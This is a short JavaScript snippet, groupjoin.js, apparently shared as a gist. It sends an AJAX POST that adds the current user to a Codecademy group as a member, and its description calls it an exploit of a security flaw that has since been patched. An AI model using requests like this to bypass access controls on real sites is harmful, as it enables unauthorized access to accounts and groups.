AJAX request to join a Codecademy group. Used to exploit a security vulnerability for development purposes. Has since been patched.

groupjoin.js

(function () {
    $.ajax({
        url: "http://www.codecademy.com/groups/"+CCDATA.page.group._id+"/users/role",
        dataType: "json",
        type: "POST",
        data: {
        	authentication_token: CCDATA.current_user.authentication_token,
        	user_id: CCDATA.current_user._id,
        	role: "member"
        },
        beforeSend: function (e) {
            e.setRequestHeader("X-Requested-With", "XMLHttpRequest");
            e.setRequestHeader("Accept", "application/json, text/javascript, */*; q=0.0")
            e.setRequestHeader("X-CSRF-Token",csrf_token);
        },
        success: function (e) {
        	console.log(e);
        },
        error: function(e) {
        	console.log(e);
        }
    })
})()